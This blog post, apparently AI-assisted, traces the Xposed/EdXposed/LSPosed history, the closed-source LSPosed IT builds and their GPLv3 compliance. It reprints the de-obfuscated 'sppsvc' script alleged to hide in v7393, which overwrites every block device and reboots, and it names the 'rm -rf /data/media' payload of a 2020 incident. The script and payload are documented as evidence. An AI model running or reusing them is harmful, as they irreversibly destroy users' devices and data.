Hello Navi

Tech, Security & Personal Notes

本文 AI 辅助整理,所有数据点均有信源标注,欢迎纠错补充。 本文力求每条事实性陈述附具信源。信源缩写在条目末尾以 [Sxx] 形式标注,完整 URL 见第十章信源索引。

导言

Xposed 家族的兴衰是 Android 模块化生态的缩影。从 2012 年 rovo89 的个人项目,到庞大的玩机社区必备工具,再到 2024 年核心团队因社区冲突而闭源——这条时间线反映了三个深层主题:

  • 技术演进:Android 从 Dalvik 到 ART、从 root 到 systemless、从 Riru 到 Zygisk,每一次底层变革都迫使 hook 框架重写核心代码
  • 开源生态的脆弱性:核心维护者的 burnout 可以导致整个生态停摆;GPL 许可证在缺乏外部版权人监督时形同虚设
  • 社区的复杂性:用户既是开源项目的生命力来源,也可能成为压垮维护者的最后一根稻草

所有英文引文均附中文翻译。

一、项目家谱总览

1
2
3
4
5
6
7
8
9
10
11
Xposed (rovo89, 2012-2018, Apache 2.0)
└── EdXposed (ElderDrivers, 2019-2021, GPL-3.0) [S9]
└── LSPosed (yujincheng08 et al., 2020-2024, GPL-3.0) [S10]
├── [官方闭源分支] LSPosed IT / Internal Test (2024- ) [S13a]
├── [社区活跃 fork] JingMatrix/Vector (2023- ), 原 JingMatrix/LSPosed [S11]
│ └── [社区 fork, 已归档] ThePedroo/ReLSPosed (2025-2026) [S18] (fork 自 Vector)
├── [社区 fork, 已归档] re-zero001/LSPosed-Irena (2024-2026) [S12]
├── [社区 fork] mywalkb/LSPosed_mod (2024, 已停) [S19]
├── [社区 fork] CMDQ8575/LSPosed (2024, 已停) [S19]
├── [社区 fork] F1xGOD/LSPosed-Next (2025, 已停) [S19]
└── [社区 fork] pumPCin/LSPosed (2024, 已停) [S19]

二、完整时间线

第一阶段: Xposed 时代 (2012-2018)

日期 事件 信源
2012-01-04 Xposed Framework 由德国开发者 rovo89 (Robert Vollmer) 在 XDA 首次公布概念验证 [S1]
2012-03-31 Xposed 正式发布,支持 Android 4.0 (ICS)。原理:替换 app_process,注入 Java 层 hook [S1][S2]
2013-09 Xposed 2.2 发布,支持 Android 4.2/4.3 [S3]
2014-03 Xposed 2.5 发布,支持 Android 4.4 (KitKat) [S3]
2014-11 Android 5.0 将 ART 设为默认运行时(替代 Dalvik),Xposed 需大量重写以支持 ART [S3]
2015-02 Xposed for Lollipop (3.0) 发布,用 ART 替代 Dalvik [S3]
2017-12-17 Xposed v89 发布(最后一个代码提交版本),支持至 Android 7.1 (Nougat) [S2]
2018-01-29 Xposed v90-beta3 发布(最后一个官方版本),支持 Android 8.0/8.1 Oreo 实验性支持 [S2][S3]
2023-06-01 rovo89 将所有 Xposed 仓库(core/bridge/installer)归档只读 [S2]

关键人物:

  • rovo89 (Robert Vollmer) — 德国开发者,2012-2018 年间主导 Xposed 开发,2023 年彻底归档。XDA Recognized Developer。[S1][S2]
  • Tungstwenty — Xposed 早期核心贡献者,贡献者人数排名第二。[S2]

至此,Xposed 官方开发彻底终结,Android 9+ 用户失去框架支持。ART 运行时在后续 Android 版本中持续重构内部 API(method resolution、JIT/AOT 编译管线),使得 app_process 替换方案的适配成本急剧上升,而原作者已无力维护。社区亟需新的注入方案——这为 EdXposed 基于 Riru 的技术路线提供了直接动力。

第二阶段: EdXposed 时代 (2019-2021)

日期 事件 信源
2019-01-18 EdXposed 首次在 GitHub 创建仓库,基于 Riru(通过替换系统库 libmemtrack.so,在 zygote 加载时执行代码)和 YAHFA/SandHook 两个 ART hook 框架 [S9]
2019-10-21 EdXposed README 更新,正式支持 Android 10(commit 96d0a9c [S5]
2020-04-27 开始适配 Android 11 (R) — 由 swift_gan 提交首个相关 commit(a61ad08),同期 solohsu 也在活跃参与 [S9][S30]
2020-05-16 EdXposed Canary 频道遭恶意代码攻击 — 三人利用 CI 自动构建漏洞提交含 rm -rf /data/media 的 PR,通过 Canary 频道分发给用户。EdXposed 团队紧急关闭 Canary 频道 [S6][S7][S8]
2020-12-21 EdXposed 进入 v0.5.x alpha 阶段,支持 Android 11(commit e7a4720 by MlgmXyysd) [S9]
2021-02-15 EdXposed 最后一个发布版 v0.5.2.2,支持 Android 8.0 ~ 11 [S9]
2021 年初 EdXposed 实质上停止开发,停留在 Android 11,未适配新 Riru。管理者 M 要求用户"不要升级 Android 和 Riru 版本" [S4]

关键人物:

  • solohsu — EdXposed 核心开发者,提供定制 Magisk 构建。GitHub 角色:项目维护者。[S9]
  • MlgmXyysd — EdXposed Manager 开发者。XDA 官方帖作者。[S7][S9]
  • ElderDrivers — EdXposed 项目的 GitHub 组织(非个人)。核心实际维护者为 solohsu、MlgmXyysd 等人。原作者早期退坑。[S4][S9]
  • M (EdXposed Manager 接管者) — 接手管理后引发系列问题,详下。

第三阶段: EdXposed 内部矛盾 → LSPosed fork (2020)

日期 事件 信源
2020 年中 EdXposed 管理者 M 因管理方式与维护团队产生严重分歧。核心问题:(1) PR 自动合并、不做审查就通过 CI 自动构建发版;(2) 2020-05 的恶意代码攻击正是利用了这一机制;(3) M 要求用户不要升级 Android/Riru,引发维护团队不满。注:此描述主要来自 LSPosed 团队一方的叙述 [S4],M 本人视角未在公开信源中呈现。PR 自动合并机制的存在有 [S6][S7] 交叉验证。 [S4][S6][S7]
2020-11-12 LoveSy(yujincheng08)提交反黑名单机制代码(commit e9c03a8 [S9]
2020-12-03 维护团队内部矛盾激化 [S4]
2020-12-12 LSPosed 仓库创建LSPosed/LSPosed)。原 EdXposed 核心维护团队集体 fork。在"半开玩笑的情况下"决定另起炉灶 [S4][S10]
2021-02 EdXposed 停止更新;LSPosed 成为事实上的继承者 [S9]

Bahamut 帖子对这段历史的描述(原文作者声明:'沒有查證,可能不是事實,可能偏袒 LSPosed')[S4]:

"这件事应该是发生在 EdXposed 上,那时原作者 E 就不太管这个项目了,交由 EdXposed Manager 的开发者 M 管理。由于当时 EdXposed 的 PR 是自动合并、没有审查就发布测试版,其他维护者反应过但没获得解决,于是其中一名维护者 PR 了 rm -rf /*。事后,由于维护者们与 M 的理念不合,在众人半开玩笑的情况下有了 LSPosed。"

注:Bahamut 帖记载的 payload 为 rm -rf /*;EdXposed Issue #547 [S6][S7] 记载实际 payload 为 rm -rf /data/media。两者不一致,后者为更可靠的第一手信源。(注:人数也有出入——S8 报道为三人,巴哈姆特帖称一名维护者,信源未交叉验证)

LSPosed 创始团队(同时也是 EdXposed 原维护团队):

  • yujincheng08 (LoveSy) — LSPosed 核心开发者,最多提交贡献者。[S10]
  • solohsu — EdXposed/LSPosed 核心。[S9][S10]
  • vvb2060 — 核心开发者。[S10]
  • kotori2 (Kotori) — 核心开发者。[S9][S10]
  • Howard20181 — 核心开发者。[S10]
  • Dr-TSNG — libxposed API 设计者。[S15]

第四阶段: LSPosed 开源活跃期 (2020-2024.01)

日期 事件 信源
2020-12 LSPosed 初始发布,支持 Riru 注入 + 自研 LSPlant hook 框架 [S10]
2021 适配 Android 12,逐步完善功能 [S10]
2021-05 Riru v25.4.4 发布,作者 RikkaW(同时也是 Storage Isolation/App Ops 开发者)维护 [S34]
2022-01-26 Magisk v24.0 正式引入 Zygisk,通过修改 app_process 在 zygote 进程中注入并加载模块库,同时移除 MagiskHide。Riru 的 nativeForkAndSpecialize 方案开始被替代 [S33]
2022-03 LSPosed v1.8.0 (2022-03-23) 从 Riru 迁移至 Zygisk,注入加载层大量重构(LSPlant hook 引擎和 Java API 层基本保持稳定)。LSPlant 成为正式 hook 引擎 [S10][S13d]
2022-09-14 LSPosed v1.8.4 发布,通过 Android 13 兼容性测试、初步支持 Android 14 [S13d]
2023-01-16 LSPosed v1.8.6 发布,提出 libxposed 新 API 提案,并在 GitHub 创建 libxposed 组织 [S13d][S15]
2023-03-14 实现 New Xposed API(模块作用域管理),支持动态申请 scope [S13d]
2023-08-30 LSPosed v1.9.1 发布 [S10]
2023-10-11 LSPosed v1.9.2 发布最后一个公开发布的版本)。支持 Android 14、修复多项 hook 问题 [S10a]
2023-11-23 LSPatch v0.6 发布(LSPosed 非 root 版本) [S14]
2023-12-13 LSPatch 停更归档 — GitHub 仓库设为只读。开发者称因遭受用户攻击 [S14]
2024-01-08 Riru 归档 — RikkaW 将 Riru 仓库归档只读(同日 LSPosed 宣布停更),标注"Deprecated",建议迁移至 Zygisk [S34]

技术亮点: LSPosed 自研了 LSPlant(ART hook 引擎,LGPL-2.1 许可——注意主项目 LSPosed 为 GPL-3.0,LSPlant 使用更宽松的 LGPL 许可是有意为之的架构隔离),替代了 EdXposed 使用的 YAHFA/SandHook。LSPlant 在 LSPosed v1.8.0 起成为核心引擎。[S10][S13d]

非 root 方案生态: 除了基于 Magisk 的 root 方案外,还存在多个非 root Xposed 兼容方案:weishu 开发的太极 (TaiChi)(2017-2021)和两仪 (TwoYi)曾是国内最流行的非 root 方案;LSPosed 团队开发的 LSPatch 则是基于 LSPosed 的非 root 分支。LSPatch 于 2023-12-13 归档(见上表),太极/两仪也已停止维护。目前非 root 方案基本处于冻结状态。

第五阶段: 停更与闭源转折点 (2024-01)

日期 事件 信源
2023-12 Delta/Kitsune Mask 用户持续在 LSPosed 反馈群报告 Shamiko 兼容性问题。背景:Magisk v24.0 (2022-01) 移除 MagiskHide 后,LSPosed 团队后续开发了 Shamiko (v1.0 发布于 2024-01-04) 作为 root 隐藏替代方案;Kitsune Mask 保留了自行修改的 Zygisk 实现,与 Shamiko 存在底层兼容差异。LSPosed 群规第 15 条明确"不接受 delta 反馈" [S4]
2024-01-04 Shamiko v1.0 发布 [S13d]
2024-01-04 PixelProps 开发者被 LSPosed 群踢出后,组织人员在群内刷脏话、种族歧视言论 [S13e]
2024-01-08 LSPosed 宣布停止维护(GitHub 仓库于 2026-05 正式归档)。详见下方公告全文。 [S13e][S17]
2024-01-08 同日连锁反应:ZygiskNext 停更、Shamiko 公开版停更 [S13e][S16a]
2024-01-08 PixelProps 作者在 Telegram 指责 LSPosed "造谣" [S13e][S16a]
2024-01-08~12 中文媒体(CSDN、腾讯云、IT之家)大量报道,基调多为同情开发者 [S16][S16a][S17]
2024-01-08 KernelSU 作者 weishu(也是太极/两仪/VirtualXposed 的开发者)发表声明支持 LSPosed 停更决定,并将 KernelSU 设置为归档(后恢复) [S16a]
2024-01-09 APatch 开发者 @bmax 澄清"LSPosed 停更与 APatch 无关" [S16a]
2024-01-18 KernelSU 发布 v0.7.6,解除归档恢复更新 [S20]

LSPosedArchives 停更声明全文: [S13e]

"Clarification: we stopped maintenance mainly because we have earned more rumor, defamation, racism, curse (see pic, which was said by one the authors of @PixelProps), and clowns than reputation, NOT because of confliction or legitimacy. Most of us are also Magisk's contributor, and we also got curse from the Magisk's community. We are just too tired of the community; we need rest."

(译)「澄清:我们停止维护,主要是因为我们收获了比声誉更多的谣言、诽谤、种族歧视、辱骂(见图,来自 @PixelProps 的一位作者)和闹剧,而并非因为冲突或合法性问题。我们大多数人也是 Magisk 的贡献者,也从 Magisk 社区收到了辱骂。我们只是对这个社区太累了,需要休息。」

第六阶段: 内部测试 (Internal Test) 与闭源分发 (2024-02 起)

日期 事件 信源
2024-02-17 LSPosed Telegram 频道宣布"内部版本已支持 Android 15 DP1 & DP2" [S13d]
2024-03-25 LSPosed 宣布 RISCV64 架构可用 [S13d]
2024-04-03 LSPosed 发起投票:"阁下是否希望 LSPosed 恢复维护?" 15,274 票。结果:48% "希望,且不介意是否开源";48% "希望,且只会使用开源版本";4% "不希望" [S13b]
2024-04-26 LSPosed 官方宣布招募内部测试人员,通过私有 Telegram 群分发闭源测试版。明确说明"内测人员无权访问软件的源代码"。测试结束后"将决定是否恢复对外发布,并考虑将软件开源或部分开源" [S13c]
2024-08-24 LSPosed 称 CDN 被攻击,单日费用超 $100,停止加速中国用户的模块仓库访问 [S13d]
2024-10-28 LSPosed 内部测试群正式启动 — 使用 base64 编码的邀请链接在 Telegram 公开频道分发,要求申请者用 GitHub SSH 密钥签名挑战码 [S13f]
2024-10-28 bot.lsposed.org 上线 — 内部测试申请页面。测试条款包含:"放弃访问软件源代码的权利"、"无偿提供测试服务并履行保密义务" [S13g]
2024-12+ 持续通过内部测试群发布闭源 Shamiko 更新和 LSPosed 版本 [S13d]

此阶段的关键争议点:

  • LSPosed 团队在 GitHub 仓库设为只读后,通过私密 Telegram 群继续发布新版本 [S13d]
  • 这些版本基于 GitHub 上最后一个 GPLv3 开源版本(v1.9.2)继续开发 [S10a]
  • 发布时仅分发二进制文件,不提供对应源代码 [S13c][S13g]
  • 内测人员明确"无权访问源代码"、"放弃访问软件源代码的权利" [S13c][S13g]
  • 违反 GPLv3 §5(修改版必须以 GPLv3 发布)和 §6(二进制发布须附带源码或书面要约)

第七阶段: 争议爆发 — GPL 违规指控与恶意代码 (2025)

日期 事件 信源
2023~2024 Google 从 SafetyNet 迁移至 Play Integrity API;chiteroman 的 Play Integrity Fix (PIF) 模块成为玩机圈标配,与 LSPosed 共存产生大量兼容性讨论 [S35]
2024~2025 社区多个 fork 出现;XDA 论坛出现"哪个 fork 还在维护"的讨论 [S19]
2025-01-26 XDA 帖子 "Beware of LSPosed: The Fall of an Open-Source Project into Malware" 发布,后被版主关闭 [S21]

该帖逐条指控 GPLv3 违规:"Before January 8, 2024, LSPosed's code was open-source. However, since that date, they have violated the GPLv3 license by releasing closed-source builds without providing the corresponding source code."(译:「在 2024 年 1 月 8 日之前,LSPosed 的代码是开源的。但自该日起,他们通过发布闭源构建版本而不提供对应源代码,违反了 GPLv3 许可证。」)

日期 事件 信源
2025-05-24 XDA 帖子 "WARNING: LSPosed IT is a MALWARE" 发布(也被关闭),用户声称安装 LSPosed IT v7281 后手机被远程控制、自动发送诈骗短信 [S22]
2025-07-20 XDA 帖子 "Security analysis of the LSPosed beta version" (用户 shell5236)。分析者从 LSPosed IT v7393 中提取到 sb.sh 和 sppsvc 两个恶意文件,证实 sppsvc 包含擦除 eMMC 分区的代码 [S24]
2025-07 LSPosed 内测群将 v7393 撤回,但该版本已被下载分析 [S24]
2025-12-15 JingMatrix/Vector 收到 issue #492(闭源版数据库兼容性问题),JingMatrix 回应:"There is no reason for us to keep compatibility with a closed-source software."(译:「我们没有理由去维持与一个闭源软件的兼容性。」) [S25]

恶意代码分析 (来自 XDA 用户 shell5236): [S24]

⚠️ 信源警示: 以下为单一 XDA 用户(shell5236)的技术分析。该帖仍开放但发帖人账号已被禁用。分析结论未经第三方独立验证,LSPosed 团队未就此公开回应。v7393 中的代码是官方注入的"反泄露保护"还是第三方篡改,目前无法确定。以下内容作为社区指控记录而非定论呈现。

分析者从 LSPosed-v1.9.2-it-7393-release.zip 中提取到两个文件:

  • sb.sh: 被 GVAS 加密,文件名含中文脏话
  • sppsvc: base64 混淆,脱壳后源码如下:
1
2
3
4
5
6
7
8
9
10
m=`ls /dev/block/sd*`
for i in $m
do echo "This copy of LSPosed is not genuine" | tee | cat >$i
done
m=`ls /dev/block/mmcblk*`
for i in $m
do echo "This copy of LSPosed is not genuine" | tee | cat >$i
done
sync
reboot

该脚本遍历所有 eMMC 分区(包括 lk bootloader 和 xbl 启动加载器分区),向每个分区写入文本,破坏引导分区后重启。效果: 设备完全变砖,只能通过 EDL 模式修复。 分析者将此比作 CIH 病毒。[S24]

LSPosed 内测群用户确认:"In the TG group of LSPosed closed beta, the version 7393 was indeed posted. It was retracted after it was discovered that someone had leaked this version. ... But there is indeed a malware in this version! I don't know when it will be triggered. But this is like the CIH virus, once it is triggered, then the device is completely scrapped. The only fix may be EDL."(译:「在 LSPosed 闭源内测的 Telegram 群中,7393 版本确实被发布过。在发现有人泄露该版本后,它被撤回了。……但这个版本中确实存在恶意代码!我不知道它何时会被触发。但这就像 CIH 病毒,一旦触发,设备就彻底报废了。唯一的修复方法可能是 EDL。」)[S24]

三、所有重要 Fork 横向对比

Fork 仓库 Stars 近期活动 特点 状态
JingMatrix/Vector github.com/JingMatrix/Vector [S11] ~10,900 2026-04 活跃 Kotlin 重写 Java 层,支持 Android 8.1~17 Beta。v2.0 发布,完整 API 100 实现,移除了遥测。作者为数学博士 最活跃
LSPosed-Irena github.com/re-zero001/LSPosed-Irena [S12] ~2,500 2026-05 活跃 基于 LSPosed,支持 ZygiskNext 已归档 (2026-06)
ReLSPosed github.com/ThePedroo/ReLSPosed [S18] ~950 2026-02 归档 fork 自 JingMatrix/Vector,短暂尝试接手后归档 已归档
mywalkb/LSPosed_mod github.com/mywalkb/LSPosed_mod - 2024 早期修复 Android 14 兼容性的补丁 已过时
CMDQ8575/LSPosed github.com/CMDQ8575/LSPosed - 2024 早期 fork 已过时
F1xGOD/LSPosed-Next github.com/F1xGOD/LSPosed-Next 1 2025-12 创建 针对 KernelSU Next 的极小更新 无人问津
pumPCin/LSPosed github.com/pumPCin/LSPosed - 2024 零星提交 已过时

JingMatrix/Vector 项目更名历程: [S11]

2023-07: 创建 JingMatrix/LSPosed 仓库(最初只是 LSPosed 的 fork) 2026-01 v1.11.0: 宣布将进行完全重构,改名 Vector,Java 层重写为 Kotlin 正式更名为 Vector。说明:"The name Vector was chosen to manifest its close mathematical relationship with Matrix, while symbolizing the framework's role as a precise injection vector for modules."(译:「Vector 这个名字的选取,是为了体现它与 Matrix 在数学上的紧密关系,同时象征该框架作为模块精确注入向量的角色。」)[S11]

版本适配挑战: Android 14 加强了对动态加载原生代码的限制(禁止从可写内存段执行,W^X 强制),直接影响 Xposed 模块的 native library 加载机制;Android 15 进一步收紧 SELinux 策略、修改 linker 行为;Android 16/17 继续增加验证和完整性检查。Vector v2.0 通过完全重写 Zygisk 架构和自研 C++ 注入组件(LSPlant 仍作为主 hook 引擎)来应对这些挑战。

Vector v2.0 的变化: [S11][S26]

  • 移除所有遥测 (telemetry)
  • 移除 LSPlt 子模块(效率原因,LSPlt 是特定 inline hook 组件,非 LSPlant 核心引擎);LSPlant 仍作为主 hook 引擎保留
  • 完整的 libxposed API 100 实现
  • 支持 Android 8.1 ~ 17 Beta(17 截至本文日期为 Beta/Preview 状态)

四、关键人物完整列表

人物 GitHub/Handle 角色 现状 信源
rovo89 (Robert Vollmer) @rovo89 Xposed 原作者,德国开发者 2018 年后退坑,2023 归档所有仓库 [S1][S2]
yujincheng08 (LoveSy) @yujincheng08 LSPosed 核心开发者、最多提交贡献者 2024 年闭源后未公开露面,个人当前参与度不明 [S10][S10a]
solohsu @solohsu EdXposed + LSPosed 核心开发者 早期核心,提供定制 Magisk 构建 [S5][S9]
vvb2060 @vvb2060 LSPosed 核心开发者 贡献大量代码 [S10]
kotori2 @kotori2 LSPosed 核心开发者 EdXposed/LSPosed 早期核心贡献者,Riru 适配 [S9][S10]
Howard20181 @Howard20181 LSPosed 核心开发者 贡献者 [S10]
Dr-TSNG @Dr-TSNG libxposed API 设计者,核心贡献者 仍在推进 libxposed API 101 (2026-03) [S15]
MlgmXyysd @MlgmXyysd EdXposed Manager 开发者,LSPosed 贡献者 早期 EdXposed 管理者之一,XDA 官方帖作者 [S7][S9]
JingMatrix @JingMatrix Vector 当前维护者,数学博士(法国图卢兹),98 年出生 活跃 — 2023-07 接手,现全权维护 Vector [S27][S28]
re-zero001 @re-zero001 LSPosed-Irena 维护者 项目已归档 (2026-06),个人仍活跃 [S12]
ThePedroo @ThePedroo ReLSPosed 维护者 已归档 [S18]
weishu (维术) @weishu KernelSU 作者,也是 VirtualXposed/太极/两仪开发者 2024-01-08 受 LSPosed 停更影响而归档(后恢复) [S16a][S20]
ElderDrivers @ElderDrivers EdXposed GitHub 组织(非个人),核心维护者为 solohsu 等 早期退坑 [S4][S9]
M (EdXposed Manager) - EdXposed 后期管理者(注:以下描述来自 LSPosed 一方叙述 [S4],M 本人视角未呈现) 据 LSPosed 方称:管理方式引发争议,PR 自动合并机制被利用导致 2020-05 恶意代码事件 [S4][S6][S7]
Tungstwenty @Tungstwenty Xposed 早期核心贡献者,贡献者人数排名第二 早期退坑 [S2]
swift_gan @swift_gan EdXposed Android 11 适配首个提交者 早期贡献 [S9][S30]
bmax @bmax APatch 开发者 活跃 [S16a]
Berlin (@Syntext_Erorr) - (第三方模块作者,与 LSPosed 团队无关) 据 CloudSEK 2026-03 报告:印度籍,出售 UPI 绕过工具 (Digital Lutera) [S31]
LiviaFontes @LiviaFontes LSPosed IT 闭源版本的第三方分发者 身份不明,无公开仓库 [S29]

五、GPL 合规争议分析

涉嫌违规事实

LSPosed 项目自身标注为 GNU General Public License v3.0 (GPL-3.0)。[S10] 它 fork 自 EdXposed(同样 GPL-3.0)[S9],并使用了 Xposed 的代码。

2024-01-08 之后的行为:

行为 GPLv3 条款适用分析 说明
归档 GitHub 仓库、停止开发 不违反 开发者可以选择停止开发
通过私有 Telegram 群分发二进制版本 涉嫌违反 §6(结合 §5(c)) §6 规制非源码形式的传递,闭源二进制分发须同时满足 §4(逐字复制条件)和 §5(修改版条件),并额外满足 §6(a)-(e) 五种源码提供方式之一。LSPosed 均未满足
不提供对应源代码 涉嫌违反 §6(a)-(e) §6 提供 5 种合规方式(物理介质附带、书面要约、网络同步等),LSPosed 未采取任何一种
内测人员"无权访问源代码" 涉嫌违反 §6 每个收到软件的人都有权获得源码
内测申请页要求"放弃访问源代码的权利" 涉嫌违反 §10(禁止进一步限制)+ §7(附加条款限制) GPLv3 §10 禁止施加"进一步限制";"放弃源码权利"不属于 §7 允许的 6 类附加条款,依法无效。罗盒(玩友)案已确认此类条款无效
在闭源版本中包含恶意代码(设备砖化脚本) 道德问题 + 额外法律风险 独立于 GPL 讨论

中国司法实践参考: [S32]

  • 罗盒案 — 实际存在两个关联案件:(1) 罗盒(玩友)案:(2019)粤73知民初207号,广州知识产权法院一审生效,确认 GPLv3 是附解除条件的著作权合同、违反 GPL 导致授权自动终止、"GPL 协议一经适用永久有效";(2)罗盒(风灵)案:(2021)最高法知民终2063号 (ipc.court.gov.cn/zh-cn/news/view-3655.html),最高法二审维持,进一步确认 GPLv3 合同效力。两案均入选 2021 年中国法院 10 大知识产权案件。核心规则:违反 GPL 条款导致授权自动终止(GPLv3 §8),后续复制/发布构成著作权侵权。
  • 网经科技案 ((2021)最高法知民终51号,2023 年判决) — 确立"违反 GPL ≠ 丧失著作权"。注意:该案的方向是限制 GPL 抗辩的范围(即使权利人自身违反 GPL,仍可主张著作权侵权救济),而非支持第三方以 GPL 为由起诉版权人。该案实际上确认了版权人的权利优先于开源合规义务(在侵权诉讼的语境下)。在 LSPosed 场景中,这意味着即使认定 LSPosed 团队违反 GPL,他们仍保有对其自研代码的著作权。
  • 2025 最高法年度报告 — 未遵守开源协议可作为确定赔偿数额的考量因素(减少赔偿额)。

GPLv3 §8:违规的法律后果

GPLv3 §8(终止条款)是违规后果的核心条款:

"You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License."

(译)「除非本许可证明确规定,你不得传播或修改受保护作品。任何以其他方式传播或修改的企图均属无效,并将自动终止你依据本许可证享有的权利。」

关键点:

  • 自动终止:违反 GPLv3 的任何条款(包括 §6 源码义务),授权自动终止。此后的复制/发布行为构成著作权侵权——这正是罗盒案的核心法律逻辑。
  • 自动恢复机制:§8 规定,如果违规方停止所有违规行为,且在 60 天内版权人未发出终止通知,则授权永久自动恢复。这意味着 GPL 违规并非不可逆转的"永久出局"。
  • 悖论:在 LSPosed 场景中,版权人(核心开发团队)即是违规行为人。如果版权人不对自己发出终止通知,那么只要他们停止闭源分发,授权理论上可自动恢复。这形成了版权人缺位导致的执行障碍——由于版权人与违规人合一,GPLv3 §8 的终止机制缺乏外部执行者。

合同相对性与原告资格

合同相对性(contract privity)是 GPL 诉讼最核心的程序障碍。

中国司法实践中的网经科技案((2021)最高法知民终51号)明确以合同相对性为核心理由:

"在 OpenWRT 系统软件权利人并非本案当事人情形下,基于合同相对性原则,本案不宜对涉案软件是否全部或部分受 GPLv2 协议约束……等问题进行审理。"

(译)「Given that the right holder of the OpenWRT system software is not a party to this case, based on the principle of privity of contract, it is not appropriate for this court to examine whether the software at issue is wholly or partially bound by the GPLv2 agreement...」

这意味着只有 GPL 合同的当事方(版权人)才有资格主张 GPL 违规。在 LSPosed 场景中:

  • 版权人 = 违规行为人 = LSPosed 核心开发团队,形成"权利人-侵权人合一"的悖论
  • EdXposed 原作者(ElderDrivers 组织)已退坑,无起诉动力
  • 潜在原告:下游 fork 维护者(JingMatrix、re-zero001 等)对其在 fork 中新增的代码享有著作权。如果 LSPosed IT 闭源版本使用了这些 fork 的代码,他们可能有起诉资格——但这尚未发生
  • 第三方用户(内测人员)虽获得 GPLv3 下的自动授权(§10),但其是否能以 GPL 违规为由起诉版权人,中国司法尚无先例

执法障碍分析

  1. 版权人与违规人合一: LSPosed 核心团队既是 GPLv3 代码的版权共同持有人,又是违规行为人。没有外部版权人有动力起诉。
  2. 合同相对性障碍: 即使存在 GPL 违规,只有合同当事方(版权人)有资格起诉(参见网经科技案)。第三方用户缺乏明确的原告资格(locus standi),据公开裁判文书检索,中国司法实践中未见此类判例。
  3. 诉讼成本与执行可行性: 法律上赔偿可得(中国著作权法法定赔偿上限 500 万元,罗盒案判赔 50 万元),但现实障碍在于:(a) 被告是个人开发者而非商业公司,判决执行困难;(b) 律师费与预期赔偿的投入产出比不明确;(c) 即使胜诉,被告可能无力支付。

六、社区回应总结

社区/群体 反应 信源
XDA 论坛 多次出现警告帖(2025-01、2025-05、2025-07),其中 S21/S22 被版主关闭,S24 仍开放但发帖人账号被禁用 [S21][S22][S24]
exposelsposed.pages.dev 专门抵制网站,有完整的 GPLv3 违规证据链 [S23]
中文玩机圈 态度分化:同情开发者("被喷到退坑")叙事占主流;亦有部分用户关注 GPL 合规问题;实用派以"谁好用用谁"为主 [S16][S17]
上游(EdXposed/Xposed) 无回应 — 上游要么退坑要么就是 LSPosed 团队自己 不适用
其他开发者 KernelSU weishu 公开支持;JingMatrix 选择技术路线(fork + 继续开源);APatch @bmax 澄清无关 [S16a][S11]
实际用户 大部分转向 JingMatrix/Vector 或 LSPosed-Irena;少部分继续使用内部测试版 [S19]

七、技术演进总结

维度 Xposed EdXposed LSPosed Vector
hook 引擎 (Dalvik) 修改 libdvm;(ART) libxposed_art (native hook) + XposedBridge (Java API 层) YAHFA / SandHook LSPlant (自研) LSPlant + 自研 C++ 优化
注入方式 替换 app_process Riru Riru → Zygisk Zygisk only
API Xposed API Xposed API Xposed API → libxposed libxposed API 100
Android 4.0 ~ 8.1 8.0 ~ 11 8.1 ~ 14 8.1 ~ 17 Beta
许可 Apache 2.0 GPL-3.0 GPL-3.0 GPL-3.0
状态 已归档 已停止 已归档(闭源分支继续) 活跃

八、当前状态 (截至 2026-06)

项目 状态 推荐度
Xposed (rovo89) 已归档,不支持 Android 9+(8.x 仅限实验性支持) ❌ 仅用于旧设备
EdXposed 已停止,不支持 Android 12+
LSPosed 官方 (LSPosed/LSPosed) 已归档,最后版本 v1.9.2 (2023-10) ❌ 不建议使用
LSPosed IT (内测闭源版) 活跃但存在 GPL 合规争议 + 恶意代码指控 强烈不建议
JingMatrix/Vector 最活跃,v2.0 发布,支持 Android 8.1~17 Beta 强烈推荐
LSPosed-Irena (re-zero001) 已归档 (2026-06-01),支持 ZygiskNext ⚠️ 已归档
libxposed API Dr-TSNG 持续开发中,API 101 已在 RFC 阶段 (2026-03) -

九、快速概览

1
2
3
4
5
6
7
8
9
10
11
12
2012-01     Xposed 诞生 (rovo89, XDA 首次公布)
2015-02 Xposed 适配 ART 运行时 (Lollipop)
2018-01 Xposed 停更 (v90-beta3, 最后官方版本)
2019-01 EdXposed 接盘 (ElderDrivers, 基于 Riru)
2020-05 EdXposed Canary 遭恶意 PR 注入
2020-12 LSPosed fork 创建 (原 EdXposed 团队另起炉灶)
2022-01 Magisk v24.0 引入 Zygisk, LSPosed 从 Riru 迁移
2023-10 LSPosed v1.9.2 最后一个公开发布版本
2024-01 LSPosed 宣布停更 → 闭源分发开始
2024-10 LSPosed 内部测试群正式启动 (bot.lsposed.org)
2025-07 LSPosed IT v7393 含砖机恶意代码曝光 (XDA 安全分析)
2026-03 JingMatrix/Vector v2.0 发布 (API 100 完整实现)

十、信源索引

信源编号与 URL

编号 信源 URL 内容
S1 XDA Xposed 原帖 xdaforums.com/t/xposed-legacy-thread-dont-panic-xposed-is-still-here.1574401/ rovo89 于 2012-03-31 发布 Xposed
S2 rovo89/Xposed GitHub github.com/rovo89/Xposed 核心仓库,已归档。最后代码提交 v89 (2017-12-17),归档 2023-06-01
S3 Wikipedia Draft: Xposed Framework en.wikipedia.org/wiki/Draft:Xposed_Framework Xposed 版本历史、ART 迁移
S4 巴哈姆特: LSPosed 和 EdXposed 的一些事件 home.gamer.com.tw/creationDetail.php?sn=5851893 详细记载了 M 的管理问题、EdXposed 内部矛盾、LSPosed fork 原因
S5 EdXposed commit 96d0a9c github.com/ElderDrivers/EdXposed/commit/96d0a9c 2019-10-21 solohsu 更新 README 支持 Android 10
S6 EdXposed GitHub Issue #547 github.com/ElderDrivers/EdXposed/issues/547 2020-05-17 用户警告 EdXposed Canary 含 rm -rf 恶意代码
S7 EdXposed XDA 官方帖 xdaforums.com/t/official-edxposed-the-successor-of-xposed-oreo-pie-q-r-2020-07-19.4070199/ 2020-05-17 MlgmXyysd 发布恶意代码事件说明
S8 IT之家: EdXposed 遭恶意代码攻击 www.ithome.com/0/487/702.htm 2020-05-18 中文报道,三人提交恶意 PR
S9 ElderDrivers/EdXposed GitHub github.com/ElderDrivers/EdXposed 仓库主页,contributors 列表,release v0.5.2.2 (2021-02-15),Android 11 适配 commits
S10 LSPosed/LSPosed GitHub github.com/LSPosed/LSPosed 仓库主页,24K stars,GPL-3.0,2020-12-12 创建,2026-05 归档
S10a LSPosed v1.9.2 Release github.com/LSPosed/LSPosed/releases/tag/v1.9.2 2023-10-11 最后一个公开版本,Changelog + contributors
